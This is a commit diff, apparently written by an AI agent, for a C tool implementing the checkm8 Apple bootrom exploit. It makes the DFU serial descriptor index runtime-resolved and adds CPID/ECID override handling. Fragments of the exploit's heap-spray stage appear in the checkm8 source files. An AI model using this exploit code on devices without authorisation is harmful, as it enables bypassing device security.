merge(group2): agent 003-dfu-serial-parsing - runtime iSerial index + manual override consultation

This commit is contained in:
Moussa Ouallaf 2026-07-17 03:05:06 +02:00
commit bc1a502c1d
9 changed files with 332 additions and 101 deletions

View file

@ -48,6 +48,18 @@ typedef struct {
/* USB handle for DFU mode (NULL when not in DFU) */ /* USB handle for DFU mode (NULL when not in DFU) */
libusb_device_handle *usb; libusb_device_handle *usb;
/*
* DFU serial-string descriptor index reported by the device
* (bDeviceDescriptor.iSerialNumber). Populated by usb_dfu_find()
* when the device is enumerated. Pre-A9 devices report 3; A14+
* devices report 4 (product string moved to index 3). A value of
* 0 means the device did not advertise a serial descriptor and
* callers must fall back to the legacy probe order (3, then 4).
* Kept at end of struct so appending it is a source-compatible ABI
* addition.
*/
uint8_t iserial_index;
} device_info_t; } device_info_t;
/* /*

View file

@ -36,20 +36,35 @@ void usb_dfu_cleanup(void);
/* /*
* Find an Apple device in DFU mode (VID=0x05AC, PID=0x1227). * Find an Apple device in DFU mode (VID=0x05AC, PID=0x1227).
* On success, *handle is set to an opened device handle and 0 is returned. * On success, *handle is set to an opened device handle and 0 is
* On failure, *handle is set to NULL and -1 is returned. * returned. On failure, *handle is set to NULL and -1 is returned.
*
* If iserial_out is non-NULL, the device's bDeviceDescriptor.iSerialNumber
* (the actual USB string index that carries CPID/ECID) is written to it.
* A value of 0 means the descriptor did not advertise a serial index --
* usb_dfu_read_info() will fall back through the legacy probe order.
*/ */
int usb_dfu_find(libusb_device_handle **handle); int usb_dfu_find(libusb_device_handle **handle, uint8_t *iserial_out);
/* /*
* Read device info from the DFU serial string descriptor. * Read device info from the DFU serial string descriptor.
* Parses CPID and ECID as hex values from the key:value pairs. * Parses CPID and ECID as hex values from the key:value pairs.
* Copies the full serial string to serial (up to serial_len bytes). * Copies the full serial string to serial (up to serial_len bytes).
* Missing fields are set to 0 / empty string. * Missing fields are set to 0 / empty string.
*
* iserial_hint is the index reported by bDeviceDescriptor.iSerialNumber
* (usually populated by usb_dfu_find). Pass 0 when the caller has no
* hint; the function will still try the legacy indices 3 and 4.
* The read attempts, in order: (a) iserial_hint if non-zero,
* (b) 3 (pre-A9 default), (c) 4 (A14+ default). Duplicate indices are
* skipped. The "device is not in SecureROM DFU" sentinel is only
* raised when every probe returned the product string.
*
* Returns 0 on success, -1 on failure. * Returns 0 on success, -1 on failure.
*/ */
int usb_dfu_read_info(libusb_device_handle *handle, uint32_t *cpid, int usb_dfu_read_info(libusb_device_handle *handle, uint8_t iserial_hint,
uint64_t *ecid, char *serial, size_t serial_len); uint32_t *cpid, uint64_t *ecid,
char *serial, size_t serial_len);
/* /*
* Send data to the DFU device via control transfer (DFU_DNLOAD). * Send data to the DFU device via control transfer (DFU_DNLOAD).

View file

@ -37,11 +37,12 @@
#define USB_ABORT_TIMEOUT_MIN 0 #define USB_ABORT_TIMEOUT_MIN 0
/* /*
* Apple DFU devices report serial number at descriptor index 3.
* USB_MAX_STRING_DESCRIPTOR_IDX (10) is used as wIndex in GET_DESCRIPTOR * USB_MAX_STRING_DESCRIPTOR_IDX (10) is used as wIndex in GET_DESCRIPTOR
* requests to trigger the string descriptor allocation path. * requests to trigger the string descriptor allocation path. The DFU
* serial descriptor index itself is no longer a compile-time constant
* -- it is read at runtime from bDeviceDescriptor.iSerialNumber and
* threaded through the spray helpers by their caller.
*/ */
#define DFU_SERIAL_IDX 3
#define USB_MAX_STRING_DESC_IDX 10 #define USB_MAX_STRING_DESC_IDX 10
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
@ -217,8 +218,11 @@ int checkm8_usb_request_stall(libusb_device_handle *usb);
/* /*
* checkm8_usb_request_leak -- Async GET_DESCRIPTOR with 1ms timeout * checkm8_usb_request_leak -- Async GET_DESCRIPTOR with 1ms timeout
* and EP0_MAX_PACKET_SZ length. Returns 1 if sz==0, 0 otherwise. * and EP0_MAX_PACKET_SZ length. Returns 1 if sz==0, 0 otherwise.
* `iserial_idx` is the descriptor index that populates the low byte
* of wValue -- the caller reads it from bDeviceDescriptor.iSerialNumber
* (via device_info_t::iserial_index) rather than assuming a constant.
*/ */
int checkm8_usb_request_leak(libusb_device_handle *usb); int checkm8_usb_request_leak(libusb_device_handle *usb, uint8_t iserial_idx);
/* /*
* checkm8_stall -- Repeatedly send GET_DESCRIPTOR with variable abort * checkm8_stall -- Repeatedly send GET_DESCRIPTOR with variable abort
@ -226,12 +230,12 @@ int checkm8_usb_request_leak(libusb_device_handle *usb);
* successful leak request. Matches gaster's checkm8_stall(). * successful leak request. Matches gaster's checkm8_stall().
* Returns 0 on success, -1 if MAX_STALL_RETRIES is exceeded. * Returns 0 on success, -1 if MAX_STALL_RETRIES is exceeded.
*/ */
int checkm8_stall(libusb_device_handle *usb); int checkm8_stall(libusb_device_handle *usb, uint8_t iserial_idx);
/* /*
* checkm8_no_leak -- Async GET_DESCRIPTOR with 1ms timeout and * checkm8_no_leak -- Async GET_DESCRIPTOR with 1ms timeout and
* (3*EP0_MAX_PACKET_SZ + 1) length. Returns 1 if sz==0, 0 otherwise. * (3*EP0_MAX_PACKET_SZ + 1) length. Returns 1 if sz==0, 0 otherwise.
*/ */
int checkm8_no_leak(libusb_device_handle *usb); int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx);
#endif /* CHECKM8_INTERNAL_H */ #endif /* CHECKM8_INTERNAL_H */

View file

@ -21,9 +21,6 @@
#define USB_REQ_GET_DESCRIPTOR 0x06 #define USB_REQ_GET_DESCRIPTOR 0x06
#define USB_DT_STRING 0x03 #define USB_DT_STRING 0x03
/* Serial string descriptor index for Apple DFU devices */
#define DFU_SERIAL_DESC_INDEX 3
/* PWND marker appended to the serial string */ /* PWND marker appended to the serial string */
#define PWND_MARKER " PWND:[checkm8]" #define PWND_MARKER " PWND:[checkm8]"
@ -119,19 +116,82 @@ int path_b_read_serial(device_info_t *dev, char *buf, size_t len)
} }
if (dev->usb) { if (dev->usb) {
/* DFU mode: USB GET_DESCRIPTOR */ /*
uint8_t desc[USB_DESC_MAX_LEN]; * DFU mode: USB GET_DESCRIPTOR. Use the runtime-resolved
int desc_len = usb_get_string_descriptor(dev->usb, DFU_SERIAL_DESC_INDEX, * bDeviceDescriptor.iSerialNumber captured by usb_dfu_find(),
desc, sizeof(desc)); * falling back to the legacy indices (3 then 4) if the device
if (desc_len < 0) * did not advertise one or the primary read fails. Any probe
return -1; * that succeeds decodes cleanly to ASCII wins; the first one
* whose decoded text does not start with the product-string
* sentinel is accepted.
*/
static const uint8_t k_legacy_a = 3;
static const uint8_t k_legacy_b = 4;
uint8_t probes[3];
size_t probe_count = 0;
size_t i, j;
int last_len = -1;
char last_ascii[USB_DESC_MAX_LEN] = {0};
if (utf16le_to_ascii(desc, desc_len, buf, len) < 0) { if (dev->iserial_index != 0)
log_error("[path_b_id] Failed to decode serial descriptor"); probes[probe_count++] = dev->iserial_index;
return -1; if (k_legacy_a != dev->iserial_index)
probes[probe_count++] = k_legacy_a;
if (k_legacy_b != dev->iserial_index && k_legacy_b != k_legacy_a)
probes[probe_count++] = k_legacy_b;
for (i = 0; i < probe_count; i++) {
uint8_t idx = probes[i];
int already = 0;
uint8_t desc[USB_DESC_MAX_LEN];
char decoded[USB_DESC_MAX_LEN];
int desc_len;
for (j = 0; j < i; j++) {
if (probes[j] == idx) { already = 1; break; }
}
if (already)
continue;
desc_len = usb_get_string_descriptor(dev->usb, idx,
desc, sizeof(desc));
if (desc_len < 0) {
log_debug("[path_b_id] GET_DESCRIPTOR idx %u failed, trying next",
(unsigned)idx);
continue;
}
if (utf16le_to_ascii(desc, desc_len, decoded, sizeof(decoded)) < 0) {
log_debug("[path_b_id] decode failed at idx %u", (unsigned)idx);
continue;
}
/* Remember the most recent successful decode; if every
* probe returns the product string we still surface it. */
snprintf(last_ascii, sizeof(last_ascii), "%s", decoded);
last_len = (int)strlen(last_ascii);
if (strncmp(decoded, "Apple Mobile Device", 19) == 0) {
log_debug("[path_b_id] idx %u returned product string, probing further",
(unsigned)idx);
continue;
}
snprintf(buf, len, "%s", decoded);
log_debug("[path_b_id] Read serial (DFU, idx %u): %s",
(unsigned)idx, buf);
return 0;
} }
log_debug("[path_b_id] Read serial (DFU): %s", buf);
return 0; if (last_len > 0) {
snprintf(buf, len, "%s", last_ascii);
log_warn("[path_b_id] All probes returned product string; using \"%s\"",
buf);
return 0;
}
log_error("[path_b_id] Failed to read serial descriptor at any probed index");
return -1;
} }
/* Recovery mode: use libirecovery */ /* Recovery mode: use libirecovery */

View file

@ -19,8 +19,11 @@
/* Maximum chunk size for a single DFU transfer */ /* Maximum chunk size for a single DFU transfer */
#define DFU_MAX_TRANSFER 0x800 #define DFU_MAX_TRANSFER 0x800
/* Serial string descriptor index for Apple DFU devices */ /* Legacy fallback string indices tried when the device does not
#define DFU_SERIAL_INDEX 3 * advertise a serial descriptor via bDeviceDescriptor.iSerialNumber.
* Pre-A9 iBoot exposes CPID/ECID at index 3; A14+ moves it to 4. */
#define DFU_SERIAL_LEGACY_A 3
#define DFU_SERIAL_LEGACY_B 4
/* Module-global libusb context */ /* Module-global libusb context */
static libusb_context *g_ctx = NULL; static libusb_context *g_ctx = NULL;
@ -52,7 +55,7 @@ void usb_dfu_cleanup(void)
} }
} }
int usb_dfu_find(libusb_device_handle **handle) int usb_dfu_find(libusb_device_handle **handle, uint8_t *iserial_out)
{ {
libusb_device **devs = NULL; libusb_device **devs = NULL;
ssize_t count; ssize_t count;
@ -62,6 +65,8 @@ int usb_dfu_find(libusb_device_handle **handle)
if (!handle) if (!handle)
return -1; return -1;
*handle = NULL; *handle = NULL;
if (iserial_out)
*iserial_out = 0;
if (!g_ctx) { if (!g_ctx) {
log_error("usb_dfu_find: libusb not initialized (call usb_dfu_init first)"); log_error("usb_dfu_find: libusb not initialized (call usb_dfu_init first)");
@ -89,9 +94,12 @@ int usb_dfu_find(libusb_device_handle **handle)
*handle = NULL; *handle = NULL;
continue; continue;
} }
log_info("DFU device found (bus %d, addr %d)", if (iserial_out)
*iserial_out = desc.iSerialNumber;
log_info("DFU device found (bus %d, addr %d, iSerial=%u)",
libusb_get_bus_number(devs[i]), libusb_get_bus_number(devs[i]),
libusb_get_device_address(devs[i])); libusb_get_device_address(devs[i]),
(unsigned)desc.iSerialNumber);
found = 1; found = 1;
break; break;
} }
@ -134,12 +142,54 @@ static int parse_hex_field(const char *serial, const char *key, uint64_t *out)
return 0; return 0;
} }
int usb_dfu_read_info(libusb_device_handle *handle, uint32_t *cpid, /*
uint64_t *ecid, char *serial, size_t serial_len) * try_read_serial_descriptor -- Read one string descriptor at `index`
* into buf (NUL-terminated on success). Retries transient PIPE/TIMEOUT
* errors up to twice. Returns the number of ASCII bytes read (>=0) on
* success, or the libusb error on hard failure. A returned length of
* zero is treated as a hard failure -- the descriptor exists but is
* empty, which no Apple DFU firmware produces for CPID/ECID.
*/
static int try_read_serial_descriptor(libusb_device_handle *handle,
uint8_t index,
unsigned char *buf, size_t buf_len)
{
int ret = LIBUSB_ERROR_INVALID_PARAM;
int attempt;
if (index == 0)
return LIBUSB_ERROR_INVALID_PARAM;
for (attempt = 0; attempt < 3; attempt++) {
ret = libusb_get_string_descriptor_ascii(handle, index,
buf, (int)buf_len);
if (ret >= 0)
break;
if (ret != LIBUSB_ERROR_PIPE && ret != LIBUSB_ERROR_TIMEOUT)
break;
if (attempt < 2) {
log_warn("serial descriptor read at idx %u: %s (attempt %d/3, retrying)",
(unsigned)index, libusb_strerror(ret), attempt + 1);
usleep(50000);
}
}
return ret;
}
int usb_dfu_read_info(libusb_device_handle *handle, uint8_t iserial_hint,
uint32_t *cpid, uint64_t *ecid,
char *serial, size_t serial_len)
{ {
unsigned char buf[DFU_SERIAL_MAX]; unsigned char buf[DFU_SERIAL_MAX];
int ret; unsigned char sentinel_buf[DFU_SERIAL_MAX];
int sentinel_len = 0;
int all_product_string = 1;
int any_success = 0;
int chosen_len = 0;
uint64_t val; uint64_t val;
uint8_t probe_order[3];
size_t probe_count = 0;
size_t i, j;
if (!handle) if (!handle)
return -1; return -1;
@ -148,42 +198,107 @@ int usb_dfu_read_info(libusb_device_handle *handle, uint32_t *cpid,
if (cpid) *cpid = 0; if (cpid) *cpid = 0;
if (ecid) *ecid = 0; if (ecid) *ecid = 0;
if (serial && serial_len > 0) serial[0] = '\0'; if (serial && serial_len > 0) serial[0] = '\0';
buf[0] = '\0';
sentinel_buf[0] = '\0';
/* Read the serial string descriptor (index 3 for Apple DFU). /*
* Retry on transient PIPE/TIMEOUT errors -- common on A12+ DFU. */ * Build a deduplicated probe order. Hint first (typically the
{ * device's own bDeviceDescriptor.iSerialNumber), then the two
int attempt; * legacy indices that cover every shipped Apple iBoot layout.
for (attempt = 0; attempt < 3; attempt++) { */
ret = libusb_get_string_descriptor_ascii(handle, DFU_SERIAL_INDEX, if (iserial_hint != 0)
buf, sizeof(buf)); probe_order[probe_count++] = iserial_hint;
if (ret >= 0) if (DFU_SERIAL_LEGACY_A != iserial_hint)
break; probe_order[probe_count++] = DFU_SERIAL_LEGACY_A;
if (ret != LIBUSB_ERROR_PIPE && ret != LIBUSB_ERROR_TIMEOUT) if (DFU_SERIAL_LEGACY_B != iserial_hint &&
break; DFU_SERIAL_LEGACY_B != DFU_SERIAL_LEGACY_A)
if (attempt < 2) { probe_order[probe_count++] = DFU_SERIAL_LEGACY_B;
log_warn("serial descriptor read: %s (attempt %d/3, retrying)",
libusb_strerror(ret), attempt + 1); for (i = 0; i < probe_count; i++) {
usleep(50000); uint8_t idx = probe_order[i];
} int ret;
/* Skip if we already tried this index (defensive; the dedupe
* above should have caught it). */
int already = 0;
for (j = 0; j < i; j++) {
if (probe_order[j] == idx) { already = 1; break; }
} }
if (already)
continue;
ret = try_read_serial_descriptor(handle, idx, buf, sizeof(buf));
if (ret <= 0) {
log_debug("serial descriptor idx %u: %s",
(unsigned)idx,
ret == 0 ? "empty" : libusb_strerror(ret));
continue;
}
if (ret >= (int)sizeof(buf))
ret = (int)sizeof(buf) - 1;
buf[ret] = '\0';
any_success = 1;
log_debug("DFU serial string (idx %u): %s", (unsigned)idx, (char *)buf);
/*
* When the read returns the human-readable product string, the
* device exposed CPID/ECID at a different descriptor. Record
* the last one we saw so the sentinel diagnostic can still
* report what the user is seeing, then keep probing.
*/
if (strncmp((char *)buf, "Apple Mobile Device", 19) == 0) {
memcpy(sentinel_buf, buf, (size_t)ret + 1);
sentinel_len = ret;
continue;
}
/* Non-product string: this is the descriptor we want. */
all_product_string = 0;
chosen_len = ret;
log_info("DFU serial descriptor resolved at index %u", (unsigned)idx);
break;
} }
if (ret < 0) {
log_error("failed to read serial descriptor: %s", if (!any_success) {
libusb_strerror(ret)); log_error("failed to read serial descriptor at any probed index");
usb_print_error(ret);
return -1; return -1;
} }
if (ret >= (int)sizeof(buf)) if (all_product_string) {
ret = (int)sizeof(buf) - 1; /*
buf[ret] = '\0'; * Every probe returned the product string, so the caller must
log_debug("DFU serial string: %s", (char *)buf); * either provide --cpid/--ecid or re-enter true SecureROM DFU.
* Report through the same success path so caller-level override
* logic (main.c) can still fire.
*/
if (sentinel_len > 0) {
if (sentinel_len >= (int)sizeof(sentinel_buf))
sentinel_len = (int)sizeof(sentinel_buf) - 1;
sentinel_buf[sentinel_len] = '\0';
if (serial && serial_len > 0) {
strncpy(serial, (char *)sentinel_buf, serial_len - 1);
serial[serial_len - 1] = '\0';
}
}
log_error("DFU serial descriptor at every probed index returned only the product string.");
log_info("This usually means the device exposes CPID/ECID at a different index");
log_info("than the tool probes (or is not in true SecureROM DFU). Verify with");
log_info("`irecovery -q` and re-run with `--cpid 0xXXXX --ecid 0xYYYYYY`,");
log_info("or re-enter DFU with the correct button sequence:");
log_info(" Home button: Power+Home 10s, release Power, hold Home 5s");
log_info(" Face ID: Vol-Up, Vol-Down, hold Side to black screen,");
log_info(" Side+Vol-Down 5s, release Side, hold Vol-Down 10s");
log_info("Screen must stay completely BLACK (no Apple logo).");
return 0;
}
/* Copy full serial string to caller */ /* Copy full serial string to caller */
if (serial && serial_len > 0) { if (serial && serial_len > 0) {
strncpy(serial, (char *)buf, serial_len - 1); strncpy(serial, (char *)buf, serial_len - 1);
serial[serial_len - 1] = '\0'; serial[serial_len - 1] = '\0';
} }
(void)chosen_len;
/* Parse CPID */ /* Parse CPID */
if (cpid) { if (cpid) {
@ -205,19 +320,6 @@ int usb_dfu_read_info(libusb_device_handle *handle, uint32_t *cpid,
} }
} }
/* When CPID is still zero after parsing, the serial is likely the
* uninitialised iBoot string -- device is not in true SecureROM DFU mode. */
if (cpid && *cpid == 0 &&
strncmp((char *)buf, "Apple Mobile Device", 19) == 0) {
log_error("DFU serial indicates device is NOT in SecureROM DFU mode.");
log_info("Expected format: 'CPID:XXXX CPRV:XX BDID:XX ECID:XXXX ...'");
log_info("Re-enter DFU using the correct button sequence:");
log_info(" Home button: Power+Home 10s, release Power, hold Home 5s");
log_info(" Face ID: Vol-Up, Vol-Down, hold Side to black screen,");
log_info(" Side+Vol-Down 5s, release Side, hold Vol-Down 10s");
log_info("Screen must stay completely BLACK (no Apple logo).");
}
return 0; return 0;
} }

View file

@ -116,8 +116,8 @@ int checkm8_verify_pwned(device_info_t *dev)
memset(serial, 0, sizeof(serial)); memset(serial, 0, sizeof(serial));
if (usb_dfu_read_info(dev->usb, &cpid, &ecid, serial, if (usb_dfu_read_info(dev->usb, dev->iserial_index,
sizeof(serial)) != 0) { &cpid, &ecid, serial, sizeof(serial)) != 0) {
log_error("checkm8_verify_pwned: failed to read USB serial"); log_error("checkm8_verify_pwned: failed to read USB serial");
return -1; return -1;
} }
@ -162,10 +162,17 @@ int checkm8_exploit(device_info_t *dev)
log_info("checkm8_exploit: waiting for device reset..."); log_info("checkm8_exploit: waiting for device reset...");
usleep(USB_RECONNECT_DELAY_USEC); usleep(USB_RECONNECT_DELAY_USEC);
if (usb_dfu_find(&dev->usb) != 0) { {
log_error("checkm8_exploit: DFU device lost after attempt %d, cannot retry", uint8_t new_iserial = 0;
attempt - 1); if (usb_dfu_find(&dev->usb, &new_iserial) != 0) {
return -1; log_error("checkm8_exploit: DFU device lost after attempt %d, cannot retry",
attempt - 1);
return -1;
}
/* Re-enumerating can hand back a different iSerial
* index if the device was hot-swapped for a different
* chip family; refresh the cached value. */
dev->iserial_index = new_iserial;
} }
log_info("checkm8_exploit: USB handle re-acquired for retry %d", attempt); log_info("checkm8_exploit: USB handle re-acquired for retry %d", attempt);
} }

View file

@ -57,7 +57,7 @@ int checkm8_usb_request_stall(libusb_device_handle *usb)
* 1ms timeout, expect 0 bytes back (allocation happened but no data * 1ms timeout, expect 0 bytes back (allocation happened but no data
* returned before timeout). * returned before timeout).
*/ */
int checkm8_usb_request_leak(libusb_device_handle *usb) int checkm8_usb_request_leak(libusb_device_handle *usb, uint8_t iserial_idx)
{ {
unsigned char *buf; unsigned char *buf;
int ret; int ret;
@ -67,7 +67,7 @@ int checkm8_usb_request_leak(libusb_device_handle *usb)
return 0; return 0;
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
(3U << 8U) | DFU_SERIAL_IDX, (uint16_t)((3U << 8U) | iserial_idx),
USB_MAX_STRING_DESC_IDX, USB_MAX_STRING_DESC_IDX,
buf, EP0_MAX_PACKET_SZ, buf, EP0_MAX_PACKET_SZ,
STALL_TIMEOUT_MS); STALL_TIMEOUT_MS);
@ -93,7 +93,7 @@ int checkm8_usb_request_leak(libusb_device_handle *usb)
* timeout. Loops until a short transfer occurs and a subsequent * timeout. Loops until a short transfer occurs and a subsequent
* leak request succeeds. * leak request succeeds.
*/ */
int checkm8_stall(libusb_device_handle *usb) int checkm8_stall(libusb_device_handle *usb, uint8_t iserial_idx)
{ {
unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT; unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT;
unsigned usb_abort_timeout = usb_timeout - 1; unsigned usb_abort_timeout = usb_timeout - 1;
@ -115,7 +115,7 @@ int checkm8_stall(libusb_device_handle *usb)
continue; continue;
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
(3U << 8U) | DFU_SERIAL_IDX, (uint16_t)((3U << 8U) | iserial_idx),
USB_MAX_STRING_DESC_IDX, USB_MAX_STRING_DESC_IDX,
buf, desc_len, buf, desc_len,
usb_abort_timeout); usb_abort_timeout);
@ -126,7 +126,7 @@ int checkm8_stall(libusb_device_handle *usb)
* means the stall worked. * means the stall worked.
*/ */
if (ret >= 0 && (uint16_t)ret < desc_len && if (ret >= 0 && (uint16_t)ret < desc_len &&
checkm8_usb_request_leak(usb)) { checkm8_usb_request_leak(usb, iserial_idx)) {
break; break;
} }
@ -153,7 +153,7 @@ int checkm8_stall(libusb_device_handle *usb)
* The extra byte forces a different allocation size, creating a * The extra byte forces a different allocation size, creating a
* hole when the buffer is freed. * hole when the buffer is freed.
*/ */
int checkm8_no_leak(libusb_device_handle *usb) int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx)
{ {
uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ + 1; uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ + 1;
unsigned char *buf; unsigned char *buf;
@ -164,7 +164,7 @@ int checkm8_no_leak(libusb_device_handle *usb)
return 0; return 0;
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
(3U << 8U) | DFU_SERIAL_IDX, (uint16_t)((3U << 8U) | iserial_idx),
USB_MAX_STRING_DESC_IDX, USB_MAX_STRING_DESC_IDX,
buf, desc_len, buf, desc_len,
STALL_TIMEOUT_MS); STALL_TIMEOUT_MS);
@ -182,6 +182,7 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
{ {
libusb_device_handle *usb; libusb_device_handle *usb;
const chip_info_t *chip; const chip_info_t *chip;
uint8_t iserial_idx;
size_t i; size_t i;
if (!ctx || !ctx->dev || !ctx->chip) if (!ctx || !ctx->dev || !ctx->chip)
@ -189,7 +190,16 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
usb = ctx->dev->usb; usb = ctx->dev->usb;
chip = ctx->chip; chip = ctx->chip;
log_info("checkm8: stage 3/4 -- heap spray"); /*
* Descriptor index for the CPID/ECID serial string. Populated by
* usb_dfu_find() from bDeviceDescriptor.iSerialNumber. If the
* device never reported one, fall back to 3 -- every checkm8-
* vulnerable chip (A5..A11) ships with iSerial=3, so gaster's
* historical constant remains a safe default here.
*/
iserial_idx = ctx->dev->iserial_index ? ctx->dev->iserial_index : 3;
log_info("checkm8: stage 3/4 -- heap spray (iSerial idx %u)",
(unsigned)iserial_idx);
if (chip->config_large_leak == 0) { if (chip->config_large_leak == 0) {
uint32_t cpid = chip->cpid; uint32_t cpid = chip->cpid;
@ -208,8 +218,8 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
cpid == 0x8003 || cpid == 0x8000) { cpid == 0x8003 || cpid == 0x8000) {
int spray_attempt = 0; int spray_attempt = 0;
while (!checkm8_usb_request_stall(usb) || while (!checkm8_usb_request_stall(usb) ||
!checkm8_usb_request_leak(usb) || !checkm8_usb_request_leak(usb, iserial_idx) ||
!checkm8_no_leak(usb)) { !checkm8_no_leak(usb, iserial_idx)) {
if (++spray_attempt > MAX_STALL_RETRIES) { if (++spray_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: path A exceeded %d retries", log_error("checkm8_stage_spray: path A exceeded %d retries",
MAX_STALL_RETRIES); MAX_STALL_RETRIES);
@ -217,11 +227,11 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
} }
} }
} else { } else {
if (checkm8_stall(usb) != 0) if (checkm8_stall(usb, iserial_idx) != 0)
return -1; return -1;
for (i = 0; i < chip->config_hole; ++i) { for (i = 0; i < chip->config_hole; ++i) {
int hole_attempt = 0; int hole_attempt = 0;
while (!checkm8_no_leak(usb)) { while (!checkm8_no_leak(usb, iserial_idx)) {
if (++hole_attempt > MAX_STALL_RETRIES) { if (++hole_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: no_leak hole %zu " log_error("checkm8_stage_spray: no_leak hole %zu "
"exceeded %d retries", "exceeded %d retries",
@ -231,8 +241,8 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
} }
} }
int final_attempt = 0; int final_attempt = 0;
while (!checkm8_usb_request_leak(usb) || while (!checkm8_usb_request_leak(usb, iserial_idx) ||
!checkm8_no_leak(usb)) { !checkm8_no_leak(usb, iserial_idx)) {
if (++final_attempt > MAX_STALL_RETRIES) { if (++final_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: path B final loop " log_error("checkm8_stage_spray: path B final loop "
"exceeded %d retries", MAX_STALL_RETRIES); "exceeded %d retries", MAX_STALL_RETRIES);

View file

@ -130,20 +130,23 @@ static int parse_args(int argc, char *argv[], cli_opts_t *opts)
static int detect_device(device_info_t *dev) static int detect_device(device_info_t *dev)
{ {
libusb_device_handle *usb_handle = NULL; libusb_device_handle *usb_handle = NULL;
uint8_t iserial = 0;
memset(dev, 0, sizeof(*dev)); memset(dev, 0, sizeof(*dev));
if (usb_dfu_find(&usb_handle) == 0) { if (usb_dfu_find(&usb_handle, &iserial) == 0) {
log_info("Device found in DFU mode"); log_info("Device found in DFU mode (iSerial index: %u)",
(unsigned)iserial);
uint32_t cpid = 0; uint32_t cpid = 0;
uint64_t ecid = 0; uint64_t ecid = 0;
char serial[DFU_SERIAL_MAX] = {0}; char serial[DFU_SERIAL_MAX] = {0};
if (usb_dfu_read_info(usb_handle, &cpid, &ecid, if (usb_dfu_read_info(usb_handle, iserial, &cpid, &ecid,
serial, sizeof(serial)) < 0) serial, sizeof(serial)) < 0)
log_warn("Failed to read DFU serial info"); log_warn("Failed to read DFU serial info");
dev->cpid = cpid; dev->cpid = cpid;
dev->ecid = ecid; dev->ecid = ecid;
dev->is_dfu_mode = 1; dev->is_dfu_mode = 1;
dev->usb = usb_handle; dev->usb = usb_handle;
dev->iserial_index = iserial;
snprintf(dev->serial, sizeof(dev->serial), "%s", serial); snprintf(dev->serial, sizeof(dev->serial), "%s", serial);
return 0; return 0;
} }
@ -259,11 +262,22 @@ int main(int argc, char *argv[])
return 1; return 1;
} }
/* Apply CLI overrides for CPID/ECID */ /*
* Apply CLI overrides for CPID/ECID. This runs after
* usb_dfu_read_info() has probed every descriptor index it knows;
* gating on `dev.<field> == 0` means overrides only fire when the
* device did not surface the value itself (either the descriptor
* layout is undocumented or the device is not in true SecureROM
* DFU). If either override applied, emit a single "manual
* override" line so bug reports show the fallback ran.
*/
int cpid_from_override = 0;
int ecid_from_override = 0;
if (opts.has_cpid_override) { if (opts.has_cpid_override) {
if (dev.cpid == 0) { if (dev.cpid == 0) {
dev.cpid = opts.cpid_override; dev.cpid = opts.cpid_override;
log_info("CPID overridden: 0x%04X (from --cpid)", dev.cpid); log_info("CPID overridden: 0x%04X (from --cpid)", dev.cpid);
cpid_from_override = 1;
} else { } else {
log_info("CPID already detected (0x%04X), ignoring --cpid override", log_info("CPID already detected (0x%04X), ignoring --cpid override",
dev.cpid); dev.cpid);
@ -274,11 +288,15 @@ int main(int argc, char *argv[])
dev.ecid = opts.ecid_override; dev.ecid = opts.ecid_override;
log_info("ECID overridden: 0x%llX (from --ecid)", log_info("ECID overridden: 0x%llX (from --ecid)",
(unsigned long long)dev.ecid); (unsigned long long)dev.ecid);
ecid_from_override = 1;
} else { } else {
log_info("ECID already detected (0x%llX), ignoring --ecid override", log_info("ECID already detected (0x%llX), ignoring --ecid override",
(unsigned long long)dev.ecid); (unsigned long long)dev.ecid);
} }
} }
if (cpid_from_override || ecid_from_override)
log_info("[device] using --cpid=0x%04X --ecid=0x%llX manual override",
dev.cpid, (unsigned long long)dev.ecid);
enrich_chip_info(&dev); enrich_chip_info(&dev);
device_print_info(&dev); device_print_info(&dev);

View file

@ -84,17 +84,20 @@ int checkm8_stage_patch(exploit_ctx_t *ctx) { (void)ctx; return 0; }
int usb_dfu_init(void) { return 0; } int usb_dfu_init(void) { return 0; }
void usb_dfu_cleanup(void) {} void usb_dfu_cleanup(void) {}
int usb_dfu_find(libusb_device_handle **handle) int usb_dfu_find(libusb_device_handle **handle, uint8_t *iserial_out)
{ {
if (handle) *handle = NULL; if (handle) *handle = NULL;
if (iserial_out) *iserial_out = 3;
mock_log_append("usb_dfu_find"); mock_log_append("usb_dfu_find");
return 0; return 0;
} }
int usb_dfu_read_info(libusb_device_handle *handle, uint32_t *cpid, int usb_dfu_read_info(libusb_device_handle *handle, uint8_t iserial_hint,
uint64_t *ecid, char *serial, size_t serial_len) uint32_t *cpid, uint64_t *ecid,
char *serial, size_t serial_len)
{ {
(void)handle; (void)handle;
(void)iserial_hint;
if (cpid) *cpid = 0x8015; if (cpid) *cpid = 0x8015;
if (ecid) *ecid = 0x001A2B3C4D5E6F70ULL; if (ecid) *ecid = 0x001A2B3C4D5E6F70ULL;
if (serial && serial_len > 0) if (serial && serial_len > 0)